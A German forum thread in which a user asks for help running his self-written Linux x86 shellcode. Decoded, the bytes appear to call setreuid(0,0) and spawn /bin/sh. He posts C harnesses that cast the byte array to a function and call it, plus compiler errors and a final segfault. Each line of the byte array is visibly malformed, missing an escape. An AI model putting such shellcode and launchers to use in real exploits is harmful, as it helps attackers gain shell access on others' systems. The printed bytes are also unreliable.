Total simpler Code erzeugt ungeahnte Fehler...

Diese Seite verwendet Cookies. Durch die Nutzung unserer Seite erklären Sie sich damit einverstanden, dass wir Cookies setzen. Weitere Informationen

  • Total simpler Code erzeugt ungeahnte Fehler...

    Hallo Leute,
    also zunächst mal möchte ich sagen, dass ich nicht wirklich ein Experte bin, was C und shellcode angeht. (Also kann es durchaus sein, dass hier ein dummer Fehler liegt)

    Ich arbeite auf Gentoolinux über eine SSH-Shell und verwende den gcc compiler.
    Ich habe mir einen Assemblercode geschrieben:
    Diesen habe ich dann mit nasm kompiliert und mit hexdump -C gehexdumpt ^^.
    Dann konnte ich mir daraus diesen Shellcode basteln:

    Quellcode

    1. char code[]=
    2. "66\x31\xc0\xb0\x46\x66\x89\xc3\x66\x89\xc1\xcd\x80\x66\x31\xc0"
    3. "66\x50\x66\x68\x2f\x2f\x73\x68\x66\x68\x2f\x62\x69\x6e\x66\x89"
    4. "e3\x66\x50\x66\x53\x66\x89\xe1\x66\x31\xd2\xb0\x0b\xcd\x80";

    Soweit so gut, das sollte bis hier auch alles richtig sein.

    So, dieses charset möchte ich jetzt gerne in meiner klasse main verwenden, um eine neue shell zu öffnen, also hab ich ein:

    Quellcode

    1. char code[]=
    2. "66\x31\xc0\xb0\x46\x66\x89\xc3\x66\x89\xc1\xcd\x80\x66\x31\xc0"
    3. "66\x50\x66\x68\x2f\x2f\x73\x68\x66\x68\x2f\x62\x69\x6e\x66\x89"
    4. "e3\x66\x50\x66\x53\x66\x89\xe1\x66\x31\xd2\xb0\x0b\xcd\x80";
    5. main() {
    6. int (*shell)();
    7. (int)shell = code;
    8. shell();
    9. }


    So ich will das ganze jetzt ausführen, aber:

    Quellcode

    1. m_giesel@alexandria ~/xpl1 $ gcc -o shell shell.c shell.c: In Funktion »main«:
    2. shell.c:9: Fehler: Ungültiger L-Wert in Zuweisung


    Ich habe mal gehört, das dieser L-Wertfehler irgendwas mit der gcc version zu tun hat, habe aber eigentlich keine Ahnung wie ich damit verfahren soll.
    Ich hab den Code dann jemandem geschickt zum ausprobieren. Der meinte dieser Code würde bei ihm einwandfrei laufen.

    Ich hab das ganze dann auf Anraten nochmal so probiert:

    Quellcode

    1. char code[]=
    2. "66\x31\xc0\xb0\x46\x66\x89\xc3\x66\x89\xc1\xcd\x80\x66\x31\xc0"
    3. "66\x50\x66\x68\x2f\x2f\x73\x68\x66\x68\x2f\x62\x69\x6e\x66\x89"
    4. "e3\x66\x50\x66\x53\x66\x89\xe1\x66\x31\xd2\xb0\x0b\xcd\x80";
    5. typedef int (__cdecl *sub_cdecl)();
    6. int main()
    7. {
    8. ((sub_cdecl)code)();
    9. }
    Alles anzeigen

    Allerdings macht es das noch schlimmer...

    Quellcode

    1. m_giesel@alexandria ~/xpl1 $ gcc -o shell shell.c
    2. shell.c:9: Fehler: expected »)« before »*« token
    3. shell.c: In Funktion »main«:
    4. shell.c:12: Fehler: »sub_cdecl« nicht deklariert (erste Benutzung in dieser Funktion)
    5. shell.c:12: Fehler: (Jeder nicht deklarierte Bezeichner wird nur einmal aufgeführt
    6. shell.c:12: Fehler: für jede Funktion in der er auftritt.)
    7. shell.c:12: Fehler: expected »)« before »code«
    8. m_giesel@alexandria ~/xpl1 $


    Und hier seit Ihr, die weisen Meister der C Programmierung gefragt ;).

    Lg Max

    P.S.: Ja ich bin mir durchaus bewusst, das man mit diesen Shellcodes unanständige Sachen anstellen kann....und genau das habe ich eigentlich vor ... allerdings durch eine ausdrückliche Bitte und auf meinem eigenen Laptop...
    Ich weiß klingt in diesem Zusammenhang wahrscheinlich etwas albern, aber es ist so.
    Mit Logik kommt man nicht weit, irgendwann muss man aussteigen und zu Fuß weitergehen.
  • Hey,
    erstmal vielen lieben Dank für den Code.

    Wenn ich den Kompiliere kommt aber das dabei raus:

    Quellcode

    1. m_giesel@alexandria ~/xpl1 $ gcc -o shell shell.c
    2. shell.c: In Funktion »main«:
    3. shell.c:8: Fehler: expected »)« before »*« token
    4. shell.c:9: Fehler: »fct_t« nicht deklariert (erste Benutzung in dieser Funktion)
    5. shell.c:9: Fehler: (Jeder nicht deklarierte Bezeichner wird nur einmal aufgeführt
    6. shell.c:9: Fehler: für jede Funktion in der er auftritt.)
    7. shell.c:9: Fehler: expected »;« before »shell«
    8. shell.c:10: Fehler: »shell« nicht deklariert (erste Benutzung in dieser Funktion)
    9. shell.c:10: Fehler: expected expression before »void«
    10. shell.c:10: Fehler: expected »;« before »code«
    11. m_giesel@alexandria ~/xpl1 $
    Alles anzeigen


    Ich versteh das nicht, das kann doch nicht sein!!

    Lg Max
    Mit Logik kommt man nicht weit, irgendwann muss man aussteigen und zu Fuß weitergehen.
  • Hey!
    ja du hast recht, das wars, jetzt kann ich kompilieren....aber noch lange nicht ausführen :D

    Quellcode

    1. m_giesel@alexandria ~/xpl1 $ gcc -o shell shell.c
    2. m_giesel@alexandria ~/xpl1 $ ./shell
    3. Speicherzugriffsfehler
    4. m_giesel@alexandria ~/xpl1 $


    Boargh ich könnte heulen ;)
    Diesen dumme Fehler hatte ich bei jedem shellcode den ich mir fertig runtergeladen hatte auch schon. Deswegen hab ich ihn mir selber zusammengeschrieben....und jetzt kommt dieser Fehler schon wieder....
    Mist, ... ne Idee?

    Lg
    Max
    Mit Logik kommt man nicht weit, irgendwann muss man aussteigen und zu Fuß weitergehen.